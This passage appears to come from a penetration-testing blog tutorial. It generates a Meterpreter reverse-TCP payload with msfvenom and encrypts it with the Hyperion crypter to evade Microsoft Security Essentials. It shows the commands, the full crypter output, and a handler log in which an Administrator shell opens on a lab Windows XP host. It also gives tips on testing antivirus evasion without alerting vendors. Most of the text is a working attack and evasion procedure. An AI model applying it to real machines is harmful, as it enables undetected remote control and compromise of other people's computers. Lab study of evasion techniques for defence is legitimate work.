root@bt:~/Hyperion-1.0# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=443 -f exe >payload.exe
root@bt:~/Hyperion-1.0# ls -l *.exe
-rwxr-xr-x 1 root root 580396 2012-07-29 16:05 crypter.exe
-rw-r--r-- 1 root root 73802 2012-07-29 16:13 payload.exe
Before we encrypt our payload, let’s see if Microsoft Security Essentials (MSE) detects anything.
As you can see, MSE detected our payload as “Trojan:Win32/Swrort.A”. That’s no good, but that’s what Hyperion is supposed to help us get around. So, let’s try encrypting our payload.
root@bt:~/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe
Opening payload.exe
Copied file to memory: 0x115818
Found valid MZ signature
Found pointer to PE Header: 0xe8
Found valid PE signature
Found a PE32 file
Number of Data Directories: 16
Image Base: 0x400000
Found Section: .text
VSize: 0xa966, VAddress: 0x1000, RawSize: 0xb000, RawAddress: 0x1000
Found Section: .rdata
VSize: 0xfe6, VAddress: 0xc000, RawSize: 0x1000, RawAddress: 0xc000
Found Section: .data
VSize: 0x705c, VAddress: 0xd000, RawSize: 0x4000, RawAddress: 0xd000
Found Section: .rsrc
VSize: 0x7c8, VAddress: 0x15000, RawSize: 0x1000, RawAddress: 0x11000
Input file size + Checksum: 0x1204e
Rounded up to a multiple of key size: 0x12050
Generated Checksum: 0x5e921e
Generated Encryption Key: 0x2 0x3 0x0 0x3 0x0 0x3 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
Written encrypted input file as fasm array to:
-> Src\FasmContainer32\infile.asm
Written input file's image base to:
-> Src\FasmContainer32\imagebase.asm
Written input file's image size to:
-> Src\FasmContainer32\sizeofimage.asm
Written keysize to:
-> Src\FasmContainer32\keysize.inc
Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encrypted_payload.exe
FASM Working Directory: Z:\root\Hyperion-1.0
Executing fasm.exe
root@bt:~/Hyperion-1.0# flat assembler version 1.69.31 (1310719 kilobytes memory)
5 passes, 0.5 seconds, 92672 bytes.
root@bt:~/Hyperion-1.0# ls -l *.exe
-rwxr-xr-x 1 root root 580396 2012-07-29 16:05 crypter.exe
-rwxr-xr-x 1 root root 92672 2012-08-02 16:53 encrypted_payload.exe
-rw-r--r-- 1 root root 73802 2012-07-29 16:13 payload.exe
And if we copy our encrypted payload to our Windows host…
Ah, nothing to see here :-) Let’s see if it works.
msf exploit(handler) > [*] Sending stage (752128 bytes) to 192.168.10.129
[*] Meterpreter session 1 opened (192.168.10.128:443 -> 192.168.10.129:1047) at 2012-08-02 17:17:53 -0400
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 VULNXP\Administrator @ VULNXP 192.168.10.128:443 -> 192.168.10.129:1047 (192.168.10.129)
Oh, you know that’s right!
You’ll notice that I didn’t upload this to VirusTotal to see how many anti-virus vendors detect our payload as malicious. It’s pretty well known now that this is one place anti-virus vendors go to find new payloads that they need to create signatures for detection. So, your best option for testing custom payloads is to simply install the version of anti-virus that you are trying to bypass.
Also, as rel1k stated in his presentation, the stub used to encapsulate the payload is static, so anti-virus vendors could easily create a signature for these payloads. He suggests modifying the source so that it is polymorphic. Alas, I have no idea how to do that right now, so maybe we will cover that in later post. Happy Crypting!
